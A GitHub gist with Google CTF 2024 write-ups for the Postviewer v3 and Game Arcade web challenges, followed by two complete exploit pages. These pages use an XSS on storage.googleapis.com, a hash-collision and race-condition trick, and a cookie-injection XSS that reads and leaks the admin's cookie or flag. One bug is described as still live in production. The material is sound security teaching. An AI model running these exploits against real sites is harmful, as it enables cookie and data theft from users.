Skip to content

Instantly share code, notes, and snippets.

@terjanq
Last active June 26, 2024 05:51
Show Gist options
  • Save terjanq/27230afcee73ee75484ac14ac53e78bc to your computer and use it in GitHub Desktop.
Save terjanq/27230afcee73ee75484ac14ac53e78bc to your computer and use it in GitHub Desktop.
Game Arcade & Postviewer v3 writeups by @terjanq

Postviewer v3 writeup by @terjanq

As it always have been with my challenges for Google CTF, they are based on real bugs I found internally. This year is a bit different though. This time the bugs were crafted by no other than me myself. One bug didn't manage to reach the production and the other is still present in prod making it effectively a 0day!

Both of my challenges (Postviewer v3 & Game Arcade) for this year are related to a sandboxing I've been working since the first postviewer challenge. You can read a little bit about it in here.

Intro

POSTVIEWER V3      [303pt]

New year new postviewer.

https://postviewer3-web.2024.ctfcompetition.com
Solved by (19):
Friendly Maltese Citizens, DiceGang, BlueWater and more.

Similarly to other Postviewer challenges, a player is welcomed with a simple client-side application where they can store and render some files.

Each file is rendered in an shim iframe hosted on a unique origin that is directly connected to the contents of the file. This ensures that a file A will be protected by Same Origin Policy from a file B.

The goal of the challenge is to find a way to leak admin's file containing the flag.

Shim iframe

Each shim iframe is rendered at a unique URL, shown below.

https://sbx-<hash>.postviewer3-web.2024.ctfcompetition.com/product/shim.html?origin=https://postviewer3-web.2024.ctfcompetition.com

Hash is calculated in the following way

hash = sha256(fileBody + product + origin + salt)

Shim iframe receives a file to render (fileBody) together with mimeType and salt over postMessage communication. The product and origin are both stored in the URL. The origin's role is to reject any communication coming from a different origin but also to ensure that a malicious.site can't embed a static file on the same origin as the Postviewer v3 app (since it's effectively also part of shim origin).

After the origin check, the shimIframe calculates the hash from the received fileBody and salt and compares it to the hash stored in the hostname. If it matches it will redirect itself to a blob document created from the fileBody and mimeType.

Salt is used to randomize the origin, it's explained in the next section.

EvaluatorHtml

All files stored in a local database are rendered by the same loader called evaluatorHtml. This is basically another shim iframe which purpose is to evaluate untrusted code.

First, the Postviewer app renders evaluatorHtml with salt set to location.href. The choice of salt is to pin the evaluator's origin to the rendered file, whose sha1(filename) is present in the URL fragment - file-<sha1(filename)>. Then it sends a small JS snippet (together with a file to render) which inserts the file as a blob iframe.

evaluatorHtml:

<html>
  <head>
    <meta charset="utf-8">
    <title>Evaluator</title>

    <script>
      onmessage = e => {
        if(e.source !== parent) {
          throw /not parent/;
        };
        if(e.data.eval){
          eval(e.data.eval);
        }
      }
      onload = () => {
        parent.postMessage('loader ready','*');
      }
    </script>

    <style>
      body{
        padding: 0px;
        margin: 0px;
      }
      iframe{
        width: 100vw;
        height: 100vh;
        border: 0;
      }
      .spinner {
        background: url(https://storage.googleapis.com/gctf-postviewer/spinner.svg) center no-repeat;
      }
      .spinner iframe{
        opacity: 0.2
      }
    </style>
  </head>
  <body>
    <div id="container" class="spinner"></div>
  </body>
</html>

Unsafe hashing

As a careful reader could potentially already spot, the hashing function is unsafe. For two reasons:

  1. It concatantes strings without a delimiter.
  2. A dynamic part (salt) that can be controlled by an attacker is at the end.

Let's follow a simple example to illustrate the issue in which different files will result in the same hash and hence with the same shim origin.

sha256("fileBody" + "product" + "origin" + "abcdef") === sha256("fileBodyproductorigin" + "" + "abcdef" + "")

The intended solution was to notice that the evaluatorHtml can be split on the https://storage.googleapis.com string. Then, a collision would be possible with the following values:

  body == evaluatorHtml.split('https://storage.googleapis.com')[0]
  product == ''
  origin == 'https://storage.googleapis.com'
  salt == evaluatorHtml.split('https://storage.googleapis.com')[1] +
          'postviewer' + 'https://postviewer3-web.2024.ctfcompetition.com/' +
          'https://postviewer3-web.2024.ctfcompetition.com/#aaaaaaaaaaa'

Pathname must follow the following regex, where the capturing group is the product: /[/]([a-z0-9_-]*)[/]shim.html/. It's possible to render as an empty product at https://postviewer3-web.2024.ctfcompetition.com/a//shim.html.

Everyone can host their files at storage.googleapis.com by simply uploading some public files to Cloud Storage. It requires adding billing information though which players don't like. Alternative way is to find an XSS there, and that's what I did in a couple of minutes https://storage.googleapis.com/vrview/2.0/index.html?image=<style/onload=alert()>

This was the core idea of the challenge but unfortunately by wanting to introduce a race-condition part and having an unpredictable flag filename, I introduced an easier unintended solution. Players could achieve the collision by forcing the application to set a custom salt (intended), fully controlled (unintended), which can be used smuggle the origin of player exploits quite easily. The idea is very clever too! Don't miss out on other players writeups.

Race-condition

Since the admin's file has an unpredictable name players had to either leak the name somehow or influence it in order to calculate the collistion hash. The former shouldn't be possible, and the latter could be done with some race-condition.

The postviewer application has a support for previewing a file via numeric value after whihc it will replace it with the file hash since the order of files might change. E.g. #0 might become #file-87ebbc317d687eeff47403603cc6dfb9b7d6c817 and only the latter value would be used in salt. Players could dynamically change the hash of the postviewer app so that they will smuggle their known string in the following flow:

setTimeout(()=>{winRef.location = "https://postviewer3-web.2024.ctfcompetition.com/#0"}, 100)
setTimeout(()=>{winRef.location = "https://postviewer3-web.2024.ctfcompetition.com/#aaaaaaaaaaa"}, 101)

and with a little bit of luck they will win the race and #aaaaaaaaaaa will be used in salt instead of the unpredictable #file-87ebbc317d687eeff47403603cc6dfb9b7d6c817.

Exploit

After winning the race and hosting the exploit at storage.googleapis.com the players could access the shimIframe (because it's same-origin), read the inner iframe blob src, fetch it and read the flag.

You can check out the full postviewer-exploit.html, which is also thoroughly commented.

Closing thoughts

There is always a little dissatification when your challenge can be solved in an easier way than intended, but I think it didn't make the challenge that much less interesting. After all, it was based on a real bug which could be exploited in two different ways, I just missed the other attack scenario. Funnily enough, the unintended vulnerability would have a similar impact on our products as the intended one if the bug had not been fixed.

These CTF challenges and bugs show just how difficult it is to write a secure code, even for Security Engineers. Bugs are lurking everywhere from left to right.

If you enjoyed the writeup, check out my writeups for previous editions!

Game Arcade writeup by @terjanq

As it always have been with my challenges for Google CTF, they are based on real bugs I found internally. This year is a bit different though. This time the bugs were crafted by no other than me myself. One bug didn't manage to reach the production and the other is still present in prod making it effectively a 0day!

Both of my challenges (Postviewer v3 & Game Arcade) for this year are related to a sandboxing I've been working since the first Postviewer challenge. You can read a little bit about it in here.

If you managed to solve Game Arcade in an unintended way or found other bugs in *.scf.usercontent.goog please message us on discord. It's probably a 0day and it might qualify for our VRP program.

Intro

GAME ARCADE      [333pt]

Hello Arcane Worrier! Are you ready, to break. the ARCADE. GAME.

Note: The challenge does not require any brute-forcing or content-discovery.

https://postviewer3-web.2024.ctfcompetition.com
Solved by (14):
Friendly Maltese Citizens, justCatTheFish, FluxFingers and more.

Similarly to my other challenge, a player is welcomed with a Postviewer alike page that let them choose and play a game.

image

Each game is rendered in a popup via shim located at https://<game_hash>-h641507400.scf.usercontent.goog/google-ctf/shim.html. This is a production shim that we use in our Google products.

The goal of the challenge is to leak admin's password that's stored in localStorage and/or document.cookie.

This write-up assumes that the reader is familiar with the Postviewer v3 challenge. If not, please read the Postviewer v3 writeup first.

Hashing

File hash that's stored in the game's origin is calculated by the following formula:

sha256(product + "$@#|" + salt + "$@#|" + origin);

Unlike in the Postviewer v3 challenge, the hashing method should have been secure against any practical attacks. The origin at the end ensures that only an embedding page can talk with the shim.

In the challenge, product is simply equal to google-ctf and salt is contents of a game to make them isolated from each other. The origin is challenge's page https://game-arcade-web.2024.ctfcompetition.com.

Guess the Password

Admin plays Guess the Password game where they simply input a flag. The flag is then inserted into document.cookie and localStorage.

It's important to note that admin uses a Firefox browser and the intended solution only works there. That's because it's not possible to set or read cookies in blob: documents in Chrome (why? no idea), which is a vital part of the challenge.

The game also has a simple XSS sink coming from document.cookie.

let password = getCookie('password') || localStorage.getItem('password') || "okoń";
let correctPasswordSpan = document.createElement('span');
correctPasswordSpan.classList.add('correct');
correctPasswordSpan.innerHTML = password;

An XSS payload <img src onerror=alert()> stored in the password would result in a popup. This is an interesting case where the element doesn't have to be attached to the DOM, I learned the trick when solving a challenge from Michał Bentkowski a couple years back.

Subdomain

The goal is to add cookies to the 0ta1gxvglkyjct11uf3lvr9g3b45whebmhcjklt106au2kgy3e-h641507400.scf.usercontent.goog origin. Adding a cookie to .scf.usercontent.goog would not work since it acts like a top-level domain thanks to the *.usercontent.goog entry in the Public Suffix List.

Players had to notice a vulnerability in how we handle hashing when the user supplies double hash in the URL. For a URL in the form of http://<hash1>-h641507400.<hash2>-h641507400.scf.usercontent.goog the SHIM would incorrectly try to only confirm that the first hash matches the received data over postMessage, mking it trivial to execute arbitrary code under any site. Because of SSL cert errors, the cookie needs to be set from a http:// URL.

Exploit

The final solution is very simple. From malicious.site do the following:

  1. Calculate hash of the exploit adding an XSS to the cookie.
  2. Execute it under http://<poc-hash>-h641507400.0ta1gxvglkyjct11uf3lvr9g3b45whebmhcjklt106au2kgy3e-h641507400.scf.usercontent.goog/google-ctf/shim.html?origin=https://malicious.site.
  3. From the XSS, exfiltrate document.cookie or localStorage where the flag is stored.

See the full exploit in game-arcade-exploit.html.

Closing thoughts

This challenge unexpectedly got less solves than Postviewer v3. It was supposed to be a significantly easier challenge. I'm curious to hear what were the blockers for the teams attempting to solve it!

If you enjoyed the writeup, check out my writeups for previous editions!

<html>
<meta charset="utf-8">
<title>Solver|Game Arcade</title>
</html>
<body>
<!-- Import crypto functions from the challenge. -->
<script src="https://game-arcade-web.2024.ctfcompetition.com/static/safe-frame.js"></script>
<script>
const passwordGameHash = '0ta1gxvglkyjct11uf3lvr9g3b45whebmhcjklt106au2kgy3e-h641507400.scf.usercontent.goog';
const CHALL_URL = 'https://game-arcade-web.2024.ctfcompetition.com/#1';
const sleep = d => new Promise(r => setTimeout(r, d));
(async function () {
const xss = escape(`xss<img src onerror="opener.opener.postMessage({flag:document.cookie}, '*')">`);
const exploit = `<script>document.cookie="password=${xss};Domain=${passwordGameHash};Path=/"<\/script>`;
const hash = await calculateHash('google-ctf', new ArrayBuffer(0), origin);
/**
* There is a bug that allows to execute on the same site as the password game.
* Set an XSS inside a cookie and leak admin's cookie.
*/
const win = open(`http://${hash}-h641507400.${passwordGameHash}/google-ctf/shim.html?origin=${encodeURIComponent(origin)}&cache=1`);
await sleep(1000);
win.postMessage({ body: exploit, mimeType: 'text/html', salt: new ArrayBuffer(0) }, '*');
open(CHALL_URL);
window.onmessage = e => {
if (e.data?.flag) {
console.log(e.data.flag);
location = 'about:blank#' + e.data.flag.split(';')[0];
}
}
})();
</script>
</body>
</html>
<html>
<meta charset="utf-8">
<title>Solver|PostViewer v3</title>
</html>
<body>
<!--
This solution uses an XSS on storage.googleapis.com but it can be also
solved by uploading the PoC to Cloud Storage.
-->
<iframe name="XSS"
src="https://storage.googleapis.com/vrview/2.0/index.html?image=%3Cstyle/onload='onmessage=e=>eval(e.data);parent.postMessage(1337,`*`)'%3E">
</iframe>
<script>
const params = new URL(location).searchParams;
const CHALL_ORIGIN = params.get('local') ? 'http://localhost:1337' : 'https://postviewer3-web.2024.ctfcompetition.com';
// Spawn an opener and point it to the challenge app.
if (!opener || opener.closed) {
var x = window.open(location.href);
if (!x || x.closed) {
document.write('Popup was blocked. Please click anywhere');
onclick = () => {
var x = window.open(location.href);
}
}
throw /no opener/;
}
opener.location = `${CHALL_ORIGIN}/#`;
// Copied property from the challenge app.
const evaluatorHtml = atob("CjxodG1sPgogIDxoZWFkPgogICAgPG1ldGEgY2hhcnNldD0idXRmLTgiPgogICAgPHRpdGxlPkV2YWx1YXRvcjwvdGl0bGU+CgogICAgPHNjcmlwdD4KICAgICAgb25tZXNzYWdlID0gZSA9PiB7CiAgICAgICAgaWYoZS5zb3VyY2UgIT09IHBhcmVudCkgewogICAgICAgICAgdGhyb3cgL25vdCBwYXJlbnQvOwogICAgICAgIH07CiAgICAgICAgaWYoZS5kYXRhLmV2YWwpewogICAgICAgICAgZXZhbChlLmRhdGEuZXZhbCk7CiAgICAgICAgfQogICAgICB9CiAgICAgIG9ubG9hZCA9ICgpID0+IHsKICAgICAgICBwYXJlbnQucG9zdE1lc3NhZ2UoJ2xvYWRlciByZWFkeScsJyonKTsKICAgICAgfQogICAgPC9zY3JpcHQ+CgogICAgPHN0eWxlPgogICAgICBib2R5ewogICAgICAgIHBhZGRpbmc6IDBweDsKICAgICAgICBtYXJnaW46IDBweDsKICAgICAgfQogICAgICBpZnJhbWV7CiAgICAgICAgd2lkdGg6IDEwMHZ3OwogICAgICAgIGhlaWdodDogMTAwdmg7CiAgICAgICAgYm9yZGVyOiAwOwogICAgICB9CiAgICAgIC5zcGlubmVyIHsKICAgICAgICBiYWNrZ3JvdW5kOiB1cmwoaHR0cHM6Ly9zdG9yYWdlLmdvb2dsZWFwaXMuY29tL2djdGYtcG9zdHZpZXdlci9zcGlubmVyLnN2ZykgY2VudGVyIG5vLXJlcGVhdDsKICAgICAgfQogICAgICAuc3Bpbm5lciBpZnJhbWV7CiAgICAgICAgb3BhY2l0eTogMC4yCiAgICAgIH0KICAgIDwvc3R5bGU+CiAgPC9oZWFkPgogIDxib2R5PgogICAgPGRpdiBpZD0iY29udGFpbmVyIiBjbGFzcz0ic3Bpbm5lciI+PC9kaXY+CiAgPC9ib2R5Pgo8L2h0bWw+Cg==")
function arrayToBase36(arr) {
return arr
.reduce((a, b) => BigInt(256) * a + BigInt(b), BigInt(0))
.toString(36);
}
// Copied method from the challenge app.
async function calculateHash(...strings) {
const encoder = new TextEncoder();
const string = strings.join("");
const hash = await crypto.subtle.digest("SHA-256", encoder.encode(string));
return arrayToBase36(new Uint8Array(hash)).padStart(50, "0").slice(0, 50);
}
// Modifier method from the challenge app, with adjusting for the solution.
async function safeFrameRender(body, salt) {
const url = new URL(CHALL_ORIGIN);
const hash = await calculateHash(body, '', "https://storage.googleapis.com", salt);
url.host = `sbx-${hash}.${url.host}`;
/*
The pathname results in an empty product since the regex allows for 0 characters.
*/
url.pathname = "a//shim.html";
url.searchParams.set("o", "https://storage.googleapis.com");
var iframe = document.createElement("iframe");
iframe.name = 'safeframe';
iframe.src = url;
document.body.appendChild(iframe);
await new Promise(resolve => {
iframe.addEventListener("load", () => { resolve(); }, { once: true });
});
return { safeFrame: iframe, safeFrameOrigin: url.origin };
}
// Sleep promise.
const sleep = d => new Promise(r => setTimeout(r, d));
// A promise that resolves once we can execute arbitrary JS on storage.googleapis.com
const xssLoaded = new Promise(resolve => {
onmessage = e => {
if (e.data === 1337) {
resolve();
}
}
});
async function poc() {
// Wait 2 seconds for the challenge app to load.
const delay = sleep(2000);
/*
The challenge app calculates the hash by concatenating four strings.
sha256(body + product + origin + salt) where:
body == evaluatorHtml
product == 'postviewer'
origin == 'https://postviewer3-web.2024.ctfcompetition.com/'
salt == 'https://postviewer3-web.2024.ctfcompetition.com/#aaaaaaaaaaa'
The goal is to calculate the same hash from different values, which is
the case for:
body == evaluatorHtml.split('https://storage.googleapis.com')[0]
product = ''
origin = 'https://storage.googleapis.com'
salt == evaluatorHtml.split('https://storage.googleapis.com')[1] +
'postviewer' + 'https://postviewer3-web.2024.ctfcompetition.com/' +
'https://postviewer3-web.2024.ctfcompetition.com/#aaaaaaaaaaa'
The first half of the evaluatorHtml contains the script that allows
to execute arbitrary JS from a parent window. Because salt is simply
transferred via postMessage it fills the missing part of the file.
*/
const [body, rest] = evaluatorHtml.split('https://storage.googleapis.com');
const salt = rest + "postviewer" + CHALL_ORIGIN + `${CHALL_ORIGIN}/#aaaaaaaaaaa`;
// Wait for the two iframes and the opener window to load.
await Promise.all([safeFrameRender(body, salt), delay, xssLoaded]);
/*
The challenge app allows displaying a first file via #0 which then changes
the hash to #file-<sha1(file_name)>. The filename of the flag is random
so it's not possible to predict the hash. This hash is also used in
generation of the origin of the iframe where the flag is being displayed.
To solve the challenge, the attacker needs to either know that value
or to influence it, which is what the below code does. In an infinite
loop, the code tries to win a race-condition where the location.hash is
quickly changed from '#file-<sha1(file_name)>' to '#aaaaaaaaaaa' forcing
the hash calculation method to only use the latter.
*/
while (true) {
/* If there is opener[0][0] that means the race was won. */
if (opener.length > 0 && opener[0]?.length == 1) {
break;
}
opener.location = `${CHALL_ORIGIN}/#` + Math.random();
/* Schedules two very close tasks that will fight for location.hash */
setTimeout(() => {
opener.location = `${CHALL_ORIGIN}/#0`;
}, 100);
setTimeout(() => {
opener.location = `${CHALL_ORIGIN}/#aaaaaaaaaaa`;
}, 101);
await sleep(300);
}
/*
Submits half of the evaluatorHtml to our safeFrame as
storage.googleapis.com origin. Any other Origin would have been rejected.
*/
XSS.postMessage(`parent.safeframe.postMessage({
mimeType: "text/html; charset=utf-8",
body: atob("${btoa(body)}"),
salt: atob("${btoa(salt)}"),
},'*');`, '*');
window.addEventListener('message', async e => {
// Voila, leak the flag!
if (e.data.flag) {
console.log(e.data.flag);
// Leak the flag via navigation.
const url = new URL('http://localhost:9999');
url.searchParams.set('flag', e.data.flag);
location = url;
return;
}
/*
Since flag's outer iframe is same origin to our safeFrame it's possible
to leak the blob URL of the inner iframe, fetch its contents and then
leak the flag.
*/
if (e.data == 'loader ready') {
safeframe.postMessage({
eval: 'fetch(top.opener[0].document.querySelector("iframe").src).then(e=>e.text()).then(flag=>parent.postMessage({flag},"*"))'
}, '*');
}
});
}
poc();
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment